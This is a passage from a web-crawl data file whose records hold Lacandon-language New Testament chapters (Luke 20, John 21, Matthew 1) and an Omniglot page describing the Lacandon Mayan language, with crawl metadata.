yʌjcʌnanyʌjirob u pach u corir uva? 16 Je' u tar u jach ts'urir quir u joc'sic u quinsej quir u ts'ic u cor ti' u jer mac.\nCaj yubob ya'aric u winiquirob judío caj ya'arob:\n―Jaj ixtʌcoj mʌ' u tar to'on.\n17 Jesús caj u pʌctaj u wichob caj ya'araj ti'ob:\n―Arex ten ajera' ba' cu ya'aric ich u t'ʌn C'uj tu ts'iba'an? Tan ya'aric:\nA teno' iren a yoc najo' soc u chich tar u muc' naj, chen a ray yoc najo' pich'ita'b ten yʌjc'ʌxirob naj uch. Quire' mʌ' u c'at, chen caj u wʌc'ʌs chucajob quir u c'ʌxicob yatoch soc u chichtar u muc'.\n18 A mac a mʌ' u yacsic tu yor ten baje'rer. Raji' irej a mac cu nacch'ʌtic tunich caj yajij yoc. Chen ca' bin c'uchuc tu q'uinin u xur t'ʌn, a mac a mʌ' tu yacsaj tu yor ti' C'uj, raji' irej mac cu rubur tunichir tu yoc'or cu maxʌre' toc ramʌn ich ru'um.\nCax ic bo'otej u bo'orir u beyaj gobierno\n(Mt. 21.45‑46; 22.15‑22; Mr. 12.12‑17)\n19 Ra'iri' u q'uinin u jach ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés u c'at u chuquicob Jesús. Quire' yerob a ba' caj u camsaj sam quire' Jesús yer mʌ' tu yacsicob tu yorob. Mʌ' tu jach chucob Jesús quire' cu ch'ic saquirob a pimob. Mʌ' ja wirej, a pimob u nec'at yubic u tsicbar Jesús. 20 Tan u ch'ucticob u chuquej Jesús, rajen caj u tuchi'tajob mac quir u tus waytarob u t'ʌn soc cu tus ta'quicob u jo'r ich gobernador. U c'at u ta'quic u jo'r ti' gobernador soc u quinsa'. Rajen yet tarob a mac a cu tus aric tsoy yorob. Soc u tus aric a ba' cu yubic u tsicbar Jesús. 21 Rajen caj u c'atob ti' Jesús:\n―In wʌjcamsʌyʌjirech ―quij―, in werob taj a ba' ca wac. Baxuc taj a ba' ca camsic ti' u t'ʌn C'uj. Mʌ' a coyen chich aric ti' mac quet ca wa'aric ti'. Quire' baxuc taj ca camsic tenob a ba' u c'at C'uj ti' tenob. 22 In c'atob in wer wa tsoy in bo'oticob in ru'um ti' rey? Wa mʌ' tsoy in bo'oticob in ru'um?\n23 Jesús caj u yubaj ba' c'as cu tucricob tu yorob, caj ya'araj ti'ob:\n―Biquinin ca tarex a tumtiquex in wor? 24 Esej ten a taq'uin turiri' ca' in wirej.\nCaj u yesob ti' Jesús. Jesús caj u ya'araj ti'ob:\n―Mac jot'a'an u yochiri'? Ba' quiri' u c'aba' ts'iba'an ti'?\nRaji'ob caj u ya'arob ti':\n―Ra' u yochir u rey César, jot'a'an ich sʌc taq'uin.\n25 Caj ya'araj Jesús ti'ob:\n―Taj a ba' ca waquex. Rajen ca' a quibʌquex a ba' cu yac techex u rey, César, baxuc xan, ca' a quibʌquex a ba' cu ya'aric C'uj techex.\n26 Mʌ' c'ucha'an yor yubic ba' cu ya'aric Jesús ich a pimo' soc u tus ta'quicob u jo'r Jesús. Chen jaca'an yorob a ba' yubicob ya'aric Jesús. Rajen ts'oc u t'ʌnob.\nCu tar u c'aticob saduceo, mac cu riq'uir tu quimen\n(Mt. 22.23‑33; Mr. 12.18‑27)\n27 Baxuc xan, tarob u winiquirob judío a saduceojo'. Aro' cu ya'aric mʌ' u riq'uir mac tu quimirir. Caj tarob u c'atej ba' ti' Jesús; caj ya'arajob ti' Jesús:\n28 ―In wʌjcamsʌyʌjirech ―quij―, ic nunquir Moisés caj u ts'ibtaj to'on uch a ba' ca' ic betej. Caj ya'araj wa ju mam cu quimin, cu p'atʌr u rac', mʌna' u parar yejer caj quimin u mam, tu junan. Caj ya'araj Moisés, ra' u yits'in u mam, raji' cu bin u ch'ic u raq'uintej a mu'. Soc yiric wa je' u pararancʌr yejer soc u ch'isic u parar, irej waj u tus parar u sucu'un uch. 29 A sucu'unbir yʌn seis yits'inob. A sucu'unbir, raji' tu yʌn ch'aj u rac' hasta quimin, mʌna' u parar. 30 A its'inbiro' raji' u ta'quic u chu'ch u sucu'un. Raji' caj u ch'aj u rac' u sucu'un, mʌna' u parar xan. 31 A jach ca' its'inbiro', raji' caj u ta'ca u chu'ch u ca' sucu'un. Raji' caj u ch'aj u rac' u ca' sucu'un. Mʌna' u parar xan. Hasta nup u rʌc ch'ic u yits'inob u mam hasta rʌc quimob, mʌna' u parar. 32 Caj c'uchij tu q'uinin u quimin a xquico' caj quimij. 33 Ca' bin riq'uic tu quimen, mac cu bin u ch'ic u raq'uintej quire' siete caj u ch'aj u mam.\n34 Rajen Jesús caj u nuncaj ti'ob, caj ya'araj:\n―A te' ich yoc'ocab cu ch'ic u rac' mac, baxuc xquic cu ch'ic u mam xan. Baxuc a pararex xan cu ch'ic u rac', baxuc xquic a pararex xan, cu ch'ic u mam. 35 Ca' bin ts'ocac u riq'uir mac tu quimen, a mac jach tsoyo' cu bin cha'bir yocar ten C'uj ich ca'anan. Munt q'uin ti' yʌnob. Mʌ' u ch'ic u rac' a ich C'ujo'. Mʌ' ju bin u ch'ic u mam. 36 Quire' a taro', mʌ' ju bin quimen, irob baxucob yʌjmasirob u t'ʌn C'uj. Quire' u pararob C'uj quire' ric'ob tu quimen ten C'uj uch. 37 Mʌ' wa c'aj techex a ba' caj u ts'ibtaj Moisés uch a caj u yiraj tu cu yerar c'ac' ich chan che'er uch. Caj ara'b ten C'uj ti' Moisés. \"A teno' u C'ujirenob a nunquirex Abraham yejer a nunquirex Isaac yejer a nunquirex Jacob.\" Rajen ij quer cu bin riq'uir mac tu quimirir. 38 A C'ujo', raji' u C'uj tu cotor mac. Raji' u C'uj a mac cuxa'an. Baxuc xan, raji' u C'uj a mac quimen quire' a quimeno' cuxa'an ʌcʌtan ti' C'uj.\n39 Mʌ' ya'ab ti' yʌnob yʌjcamsʌyʌjirob u t'ʌn Moisés caj ya'arob ti':\n―In wʌjcamsʌyʌjirech, taj a ba' caj a wa'araj ti' u winiquirob judío a saduceojo'.\n40 Quire' sajaquir u ca' u c'atob ti' Jesús. Rajen caj u p'ʌtajob u c'ata ba'.\nJesús caj u c'ataj ti' yʌjcamsʌyʌjirob u t'ʌn Moisés mac a Cristojo'?\n(Mt. 22.41‑46; Mr. 12.35‑37)\n41 Jesús caj u c'ataj ti'ob:\n―Bic tabar cu ya'aricob a pimob yejer u ts'urirob u winiquirob judío, u parar u nunquir David. Raji' Cristo a mac tuchi'ta'b ten C'uj? 42 Mʌ' ja wirej, u bʌjiri' David, caj u ts'ibtaj ich u ju'unin Salmos ich a uchben u t'ʌn C'ujo'. Caj ya'araj:\nIc Jach Ts'ur C'uj, quij David, caj u ya'araj ti' in Jach Ts'ur: \"Tar a cutar, quij C'uj, tin noj soc p'eri' quic reyinticob mac. 43 Soc p'eri' quic reyinticob mac hasta cu c'uchur tu q'uinin quin rʌc ch'ersic a mac a cu p'actiquech.\"\nBaxuc caj ara'b ti' ic nunquir David ten C'uj.\n44 Jesús caj u c'ataj ti'ob caj ya'araj:\n―A je' u t'ʌn C'uj cu yesic to'on David caj u t'ʌnaj a Cristojo', in Jach Ts'ur, quij David. Rajen biquinin ca waquex u parar David a Cristojo' quire' wa raji' u Jach Ts'urir, quet ba'iri'?\nJesús cu chich aric ti' u camsʌwinicob, qui' cʌnantej a bʌj ti' yʌjcamsʌyʌjirob u t'ʌn Moisés\n(Mt. 23.1‑36; Mr. 12.38‑40; Lc. 11.37‑54)\n45-46 Jesús cu tsicbar ti' u camsʌwinicob p'eri caj yubajob a pimo':\n―Qui' cʌnantajex a bʌj soc mʌ' a cʌniquex yʌjcamsʌyʌjirob u t'ʌn Moisés. Mʌ' ja wirej, yʌjcamsʌyʌjirob u t'ʌn Moisés. Jach tsoy u noc' cu manob soc u tus turicob u rac'ob, jach no'job aro'. Qui' yorob yiricob baxucob. Jach qui' yorob yiricob u t'ʌnʌn ten u rac'ob tu cu naj bin u mʌnicob yo'och quire' cu yiricob tus no'job aro'. Baxuc cu tetic u cutanob tu cu cutar a jach no'jo' tu cu naj c'ujinticob C'uj. Baxuc tu cu qui'qui' janʌnob soc u tus irir jach no'job. 47 Mʌ' ja wirej. yʌjcamsʌyʌjirob u t'ʌn Moisés cu tus aricob ti' a u quimenob u mam. Soc u tus ch'ic yatoch yejer u ba'tac cax yʌn tu yatoch. Jach ama'an u ts'ocar u t'ʌnicob C'uj soc u rac'ob cu tus tucricob cu qui' c'ujinticob C'uj. Jach manan cu bin ts'abʌr u muc'yajob ten C'uj quire' cu beticob aro' cax yerob u t'ʌn C'uj. Chen u jerob mac mʌ' neyaj cu bin muc'yajob.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK20.htm","date":"2022-08-17T18:54:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00478.warc.gz","language":"lac","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000042915344238}","num_words":1886,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.305,"stopwords_ratio":0.493,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21\nJesús cu yesic u bʌj ti' u camsʌwinicob a sietejo'\n1 Jesús caj u ca' esa'r u bʌj ti' u camsʌwinicob. Caj u yesaj u bʌj ich chi' c'ac'nab u c'aba' Tiberias. Baxuc a jera' caj u yesaj u bʌj ti' u camsʌwinicob. 2 Ti' tu much'quintajob u bʌj Simón Pedro yejer Tomás a toc ca'tur caj rocha'b ten u nʌ'. Ti' yʌn Natanael ti' u tar ich u cajar Cana ich u ru'umin Galilea. Ti' yʌn xan ca'turob u camsʌwinicob Jesús raji' u tetob Zebedeo. Ti' yʌn xan u jer ca'turob u camsʌwinicob. 3 Simón Pedro caj u ya'araj ti' u yet camsʌwinicob:\n―Bin in ca' chuc cʌy yejer chim.\nRobob caj ya'arob:\n―Baxuc a tenob tar in ca'ob yejerech.\nCaj rʌc ocob ich chem caj binob u chuquejob cʌy. U burur ac'bir tu puricob u chimin, mʌ' ju chucobi'. 4 Caj sasij ti' ch'ica'an Jesús ich chi' c'ac'nab chen u camsʌwinicob mʌ' yerob wa raji' Jesúsi'.\n5 Jesús caj u c'ataj ti'ob:\n―Chichanechex, mʌ' wa ta chuquex u cʌyir?\nCaj u nuncajob:\n―Mʌna' ―quij.\n6 Jesús caj ya'araj ti'ob:\n―Purej u chimin tu no'oj chem. Je' a chuquiquex a cʌyo'.\nBaxuc caj u betajob caj u purajob u chimin caj u jarajob u chimin jach chup u cʌyir. Rajen mʌ' ju c'uchur u yorob u jaricob ich c'ac'nab. 7 A Juano', raji' a yajbir ten Jesús. Raji' u camsʌwinic xan, caj ya'araj ti' Pedro:\n―Raji' ic Jaj Ts'urirex.\nSimón Pedro caj u yubaj ya'aric, \"Raji' ic Jaj Ts'urirex\", caj u buquintaj u noc' quire' chʌcpiten ca'ch caj u puraj u bʌj ich ja' quir u c'uchur ich chi' c'ac'nab tu' yʌn Jesús. 8 Caj tarob u camsʌwinicob yejer chem, tan u payticob u chimin cʌy quire' jach chup u cʌyir. Mʌ' nach yʌn ti' u chi'c'ac'nab chen cien metros. 9 Caj joc'ob ich chem caj c'uchob ich chi'c'ac'nab. Caj yirob nuts'a'an c'ac'. Ti' yʌn u chuquir, ti' yʌn cʌy, tan u c'ac'tic yoc'or yejer waj. 10 Jesús caj u ya'araj ti'ob:\n―Ch'ayex cʌy jach ya'ab a tan ta chuquiquex.\n11 Rajen binij Simón Pedro ich chem. Caj u jitaj u chimin chup yejer cʌy. Jach carem u cʌyir caj u xacaj caj u yiraj ciento cincuenta y tres u cʌyir. Cax chup u chimin mʌ' ju jatʌr. 12 Rajen caj u ya'araj ti'ob:\n―Cojenex ta jananex ―quij.\nMʌna' u camsʌwinicob caj u ya'araj: \"Maquech\", quire' baje'rer yerob raji' u Jaj Ts'urirob. 13 Jesús caj u chucaj waj caj u ts'aj ti'ob u camsʌwinicob. Baxuc caj u ts'aj ti'ob yoch cʌy xan. Caj u rʌc jantajob.\n14 A jera' mʌna' u nup u tenin tu yesa u bʌj ti'ob u camsʌwinicob a caj ts'oc u riq'uir ti' u quimirir.\nJesús cu tsicbar yejer Simón Pedro\n15 Caj ts'oc u janʌnob Jesús caj u c'ata ti' Simón Pedro:\n―Simón, u pararech Jonás. A nupob cu yajquintiquen, chen tech wa jach manan ca yajquintiquen?\nPedro caj u nuncaj:\n―Tech, Jaj Ts'urir, a wer quin yajquintiquech.\nJesús caj u ya'araj ti':\n―Cʌnen, jansej ti' ten tu cotor mac a tu yacsob tu yorob ti' ten soc cu bin u chichquinticob tu pixamob an ten bic yʌjcʌnʌnyʌjir tʌmʌn yuc cu jansic u chan ar tʌmʌn yuc.\n16 Jesús caj u ca' c'ataj ti':\n―Simón, u pararech Jonás, jach qui' wa ca yajquintiquen?\nPedro caj u nuncaj:\n―Tech, Jaj Ts'urir, a wer in qui' yajquintiquech.\nJesús caj ya'araj ti':\n―Cʌnen, jansej ti' ten tu cotor mac a tu yacsob tu yorob ti' ten soc cu bin u chichquinticob tu pixamob an ten bic yʌjcʌnʌnyʌjir tʌmʌn yuc cu jansic u chan ar tʌmʌn yuc.\n17 Mʌna' u nup caj c'ata'b ten Jesús ti':\n―Simón, u pararech Jonás, ca jach qui' wa ca yajquintiquen?\nPedro caj tucurnʌjij quire' tu yubaj mʌna' u nup u tenin caj c'ata'b ti': \"Ca yajquintiquen wa?\" Caj u ya'araj:\n―Tech, Jaj Ts'urir, tu cotor a wer. A wer quin yajquintiquech.\nJesús caj ya'araj ti':\n―Cʌnen, jansej ti' ten tu cotor mac a tu yacsob tu yor ti' ten soc cu bin u chichquinticob tu pixamob an ten bic yʌjcʌnʌnyʌjir tʌmʌn yuc cu jansic u chan ar tʌmʌn yuc.\n18 Jesús caj ya'araj:\n―Taj a ba' quin wac tech. Chen chichanech uch ta qui' buquintaj a noc' caj bin tub a c'at. Ca' bin ch'ijiquech cu bin u c'ʌxicob a c'ʌb yejer a winquirir ich che' quir u quinsiquech.\n19 Caj u ya'araj ti' aro' quir u camsic bic tabar cu bin quimin soc mac cu bin u yiricob jach carem a C'ujo'. Jesús caj ya'araj ti':\n―Cojen tin pach ―quij.\nU camsʌwinic a yajbir ten Jesús\n20 Pedro caj u sut u bʌj caj u yiraj tan u tar Juan tu pach a mac yajbir ten Jesús, ra'iri' a ti' yʌn ich Jesús caj u jantob yoch u q'uinin pascua, caj u c'ataj uch ti': \"Jaj Ts'urir, quij, mac cu bin u c'ubiquech?\" quij. 21 Pedro caj u yiraj Juan caj u c'ataj ti' Jesús:\n―Jaj Ts'urir ―quij―, ba' cu bin tar ti' a ray in nupo'?\n22 Jesús caj u nuncaj ti', tan ya'aric:\n―Wa jin c'at ca' p'atac Juan hasta quin ca' ur, mʌ' ba'wir ca tucric ti'. Tech yʌn a tar tin pach ―quij.\n23 Rajen caj bin u sosoc arej ich mac a tu yacsob tu yorob, tan ya'aric:\n―A Juano' mʌ' ju bin quimin ―quij.\nChen Jesús mʌ' ju ya'araj: \"Mʌ' ju bin quimin.\" Tu chen araj: \"Wa jin c'at ca' p'atac Juan hasta quin wu'ur mʌ' ba'wir ca tucric ti'.\"\n24 Tu cotor a ba' ts'iba'an a tera', raji' caj u yiraj Juan, baxuc caj u yubaj a raji' u camsʌwinic Jesús. Rajen ij querex taj a ba' cu ya'aric.\n25 Ti' toy yʌn ya'ab ba' caj u betaj Jesús. Wa toc ts'iba'an jujuntur ich u ju'unin jach p'ecʌch ya'ab u ju'unin cu bin ts'ibta'bir. Chen a ts'iba'an a tera' ti'ti' soc ij querex bic tabar ic taquic ic bʌjex.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/lacNT\/JHN21.htm","date":"2022-05-28T06:25:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663013003.96\/warc\/CC-MAIN-20220528062047-20220528092047-00397.warc.gz","language":"lac","language_score":1.0,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0}","num_words":960,"character_repetition_ratio":0.083,"word_repetition_ratio":0.089,"special_characters_ratio":0.281,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/lac_Latn/fineweb-2_000001_remove.jsonl b/lac_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..27ac85a3cd6be91ea46be23cf0db69813e29b4e2 --- /dev/null +++ b/lac_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,26 @@ +{"text":"SAN MATEO 1\nRa' u nunquirob Jesucristo uch\n(Lc. 3.23‑38)\n1A tan in ts'ibtic techex, quij Mateo, tʌcʌ robob u nunquirob Jesucristo uch. A Jesúso' u ch'ic parar u nunquir David. Bayiri' xan a Jesúso' u ch'ic parar u nunquir Abraham.\n2Abraham ra' u tet Isaac. A Isaaco' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar Jacob. A Jacobojo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar u c'aba' Judá. A Jacobojo' ra' u tet. Mʌ' ja wirej, p'eri u tetob yejer yits'inob yejer u sucu'unob. 3A Judájo' yʌn ca'tur u pararob yejer u rac' Tamar. Turiri' ra' u c'aba' Fares. U jer turiri' u parar, Zara u c'aba'. A Fareso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar, ra' u c'aba' Esrom. A Esromo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar u c'aba' Aram. 4Baxuc xan, quij Mateo, a Aramo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar uch ra' u c'aba' Aminadab. A Aminadabo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Naasón. A Naasóno' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Salmón. 5A Salmónjo' caj u raq'uintaj ra' u c'aba' Rahab. Caj c'uchij tu q'uinin u pararʌncʌr u rac' Rahab yʌn u parar ra' u c'aba' Booz. A Boozo' caj u raq'uintaj ra' u c'aba' Rut. Caj c'uchij tu q'uinin u pararʌncʌr u rac' Rut yʌn u parar ra' u c'aba' Isaí. 6A Isaíajo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar David. A Davido' raji' oc rey u winiquirob israel. Caj u raq'uintaj David u rac' Urías. Caj c'uchij tu q'uinin u pararʌncʌr u rac' David yʌn u parar David ra' u c'aba' Salomón.\n7A Salomóno' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Roboam. A Roboamo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Abías. A Abíaso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Asa. 8A Asajo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Josafat. A Josafato' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Joram. A Joramo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Uzías. 9A Uzíaso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Jotam. A Jotamo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Acaz. A Acazo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Ezequías. 10A Ezequíaso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Manasés. A Manaséso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Amón. A Amóno' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Josías. 11A Josíaso' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Jeconías. A Jeconíaso' yʌn ya'ab u sucu'unob. A Jeconíaso' caj pararnʌjij u rac' tu q'uininin caj bin purbir ich u ru'umin Babilonia u winiquirob israel. Chucbir u winiquirob israel caj bin purbir ich u ru'umin Babilonia.\n12Caj ts'oc u purbir u winiquirob israel tu ru'umin Babilonia. Caj pararnʌjij u rac' yʌn u parar ra' u c'aba' Salatiel. A Salatielo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Zorobabel. 13A Zorobabel caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Abiud. A Abiudo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Eliaquim. A Eliaquimo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Azor. 14A Azoro' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Sadoc. A Sadoco' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Aquim. A Aquimo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Eliud. 15A Eliudo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Eleazar. A Eleazaro' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Matán. A Matáno' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' Jacob. 16A Jacobo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar ra' u c'aba' José. José raji' caj u raq'uintaj María. A Maríajo' ra' u c'aba' u nʌ' Jesús. Raji' Jesús a tuchi'ta'b ten C'uj ich yoc'ocab rajen u c'aba' Cristo.\n17Mʌ' ja wirej, quij Mateo, yʌn catorce u nunquirob Jesús. Cu yʌnx chun yejer Abraham cʌja'an ich yoc'ocab hasta c'uchij tu q'uinin ti' u rey David. Yʌn u jerob catorce u nunquirob Jesús. Caj quimij u rey David hasta caj bin purbir u winiquirob israel ich u ru'umin Babilonia. Yʌn u jerob catorce u nunquirob Jesucristo caj wʌc'ʌs urob ich u ru'umin Canaán hasta caj rocha'b Jesucristo ten u nʌ'. Mʌ' ja wirej, ra' u q'uinin quir u taquic winic a ti' yʌnob ich yoc'ocab.\nBer caj rocha'b Jesucristo ten u nʌ'\n(Lc. 2.1‑7)\n18Baxuc a jera' caj rocha'b Jesucristo ten u nʌ' uch. Caj c'ata'b María, u nʌ' Jesús. José caj u c'ata ti' u tet María. Chen caj u toc c'ataj. Mʌ' toy u raq'uintej. Caj yʌnjij u parar María quire' u Taj'or u Pixam C'uj. Raji' caj u ya'araj u yʌntar u parar María. 19Caj yuba yʌn u parar María. A Joséjo' mʌ' u c'at u raq'uintej María quire' tsoy yor a Joséjo'. Chen u c'at u muc u tuchi'tic María, José, soc mʌ' u che'ta'r ten u rac'ob. 20José caj u tucraj ich yor bic cu bin u p'ʌtic María. Caj u wʌyʌc'taj José yʌjmasir u t'ʌn C'uj. Ara'b ti' ten yʌjmasir u t'ʌn C'uj:\n―Mʌ' ja ch'ic sajaquir ―quij ya'araj ti' José―, quire' a techo' u pararech a nunquir David. Tsoy a ch'ic a raq'uintej María. Yʌn u parar quire' ara'b ti' ten u Taj'or u Pixam C'uj ca' yanac u parar. 21A Maríajo' ―caj u ya'araj yʌjmasir u t'ʌn C'uj―, bin u ca' pararʌncʌr María xib u parar María.\nCaj u toc araj yʌjmasir u t'ʌn C'uj ti' José:\n―Ca' a pʌchej u c'aba' JESÚS ca' bin a pʌchej u c'aba'. Rajen pʌcha'an u c'aba' Jesús, quire' bin u jawsic u si'pir a mac a cu quibic u t'ʌn soc mʌ' u bin ich c'ac'.\n22Mʌ' ja wirej, quij Mateo, a C'ujo' caj u toc araj je' u tar Cristoje'. Quire' baxuc caj u tsec'taj yʌjtseq'uir u t'ʌn C'uj Isaías uch. Rajen nup' u t'ʌn baje'rere'. Mʌ' ja wirej, tarij Cristo. U'yex ba' caj u ya'araj yʌjtseq'uir u t'ʌn C'uj uch:\n23Irej a xquico' ―quij Isaías: Mʌ' toy u ch'a'i' caj yʌnjij u parar ―quij Isaías―. Bin u pachej u c'aba' Emanuel ―quij Isaías.\nU c'aba' Emanuel u c'at ya'aric: Ti' yʌn C'uj yejero'on ich yoc'ocab. Baxuc caj u ya'araj yʌjmasir u t'ʌn C'uj caj u wʌyʌc'taj José.\n24Caj ts'oc u wʌyʌc' José. Caj ajij caj u ch'aj u raq'uintej María quire' baxuc caj u ya'araj yʌjmasir u t'ʌn C'uj. Rajen caj u ch'aj u raq'uintej José. 25Barej José mʌ' u wenʌn yejer, yiric yʌn u parar María, hasta caj rocha'b u parar C'uj ten u nʌ'. Caj pach u c'aba' JESÚS quire' caj u toc araj yʌjmasir u t'ʌn C'uj.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/sl.www.biblesearch.americanbible.org\/lac-LACNT\/Matt\/1","date":"2019-03-25T03:46:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203548.81\/warc\/CC-MAIN-20190325031213-20190325053213-00226.warc.gz","language":"lac","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"lac_Latn_score\": 0.9999922513961792}","num_words":1254,"character_repetition_ratio":0.313,"word_repetition_ratio":0.12,"special_characters_ratio":0.289,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Lacandon is a member of the Yucatecan branch of the Mayan language family. It is spoken in the northeast of the state of Chiapas in southern Mexico. In 2015 there were about 600 speakers of Lacandon, out of a population of 1,000 Lacandon people.\nLacandon is also known as Lacandón or Lakantún, and the native name is Jach-t'aan [xatʃ t'aːn] (\"true language\").\nThere are a number of ways to write Lacandon, including one devised by the Instituto Nacional de Lenguas Indígenas (National Indigenous Languages Institute \/ INALI).\nCaj u yaꞌaraj Jesús:―A jeꞌ quin camsic techex. Cʌnex a tꞌʌnex Cꞌuj. Arex tiꞌ Cꞌuj: Ic Tet caꞌanan, ca waꞌariquex tiꞌ. Caꞌ u sʌjtejob a cꞌabaꞌ tu cotor mac, Cꞌuj. Sebquintej a tar Cꞌuj quir a reyintic Cꞌuj ich yocꞌocab ―quechex tiꞌ―. Caꞌ in quibob a tꞌʌn Cꞌuj teꞌ yocꞌocab an ten bic u quibicob a tar caꞌananoꞌ, a yʌjmasirob a tꞌʌn tech Cꞌuj ―quechex tiꞌ―. Chuquej tenob in woꞌoch waj, soc tiꞌtiꞌ tenob. Caꞌ a jawsej in siꞌpirob ―quechex tiꞌ Cꞌuj―, an ten bic caꞌ in jawsej u siꞌpirob in racꞌob. Taquej a tenob, tu cu tumtic in worob a quisinoꞌ ―quechex tiꞌ Cꞌuj―. A techoꞌ, Cꞌuj, cꞌuchaꞌan a wor a reyintic ich yocꞌocab. A techoꞌ, Cꞌuj, yʌn a mucꞌ quir a reyintic ich yocꞌocab. Caꞌ u quiꞌ cꞌujintiquech, Cꞌuj, tu cotor mac ich yocꞌocab. Caꞌ u cꞌujintiquech munt qꞌuin ―quechex tiꞌ.\nInformation about Lacandon\nhttps:\/\/en.wikipedia.org\/wiki\/Lacandon_language\nhttps:\/\/es.wikipedia.org\/wiki\/Idioma_lacandón\nhttps:\/\/www.ethnologue.com\/language\/lac\nhttp:\/\/www.native-languages.org\/lacandon.htm\nhttp:\/\/www.famsi.org\/mayawriting\/dictionary\/boot\/lacandon-de-naja_based-on_bruce1968.pdf\nhttps:\/\/sic.cultura.gob.mx\/ficha.php?table=inali_li&table_id=40\nhttps:\/\/aulex.org\/es-lac\/\nIf you need to type in many different languages, the Q International Keyboard can help. It enables you to type almost any language that uses the Latin, Cyrillic or Greek alphabets, and is free.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.omniglot.com\/writing\/lacandon.htm","date":"2019-08-18T15:18:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313936.42\/warc\/CC-MAIN-20190818145013-20190818171013-00048.warc.gz","language":"lac","language_score":0.5128048658,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"lac_Latn_score\": 0.5128048658370972, \"sco_Latn_score\": 0.0981612578034401, \"eng_Latn_score\": 0.05802145600318909, \"hus_Latn_score\": 0.017127221450209618, \"azz_Latn_score\": 0.01672416739165783, \"caa_Latn_score\": 0.016090862452983856, \"dag_Latn_score\": 0.014941584318876266, \"jac_Latn_score\": 0.014165841042995453}","num_words":270,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":0.602,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"SAN MATEO 1:2 LACNT\nAbraham ra' u tet Isaac. A Isaaco' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar Jacob. A Jacobojo' caj c'uchij tu q'uinin u pararʌncʌr u rac' yʌn u parar u c'aba' Judá. A Jacobojo' ra' u tet. Mʌ' ja wirej, p'eri u tetob yejer yits'inob yejer u sucu'unob.\nLACNT: A quet u t'ʌno' a 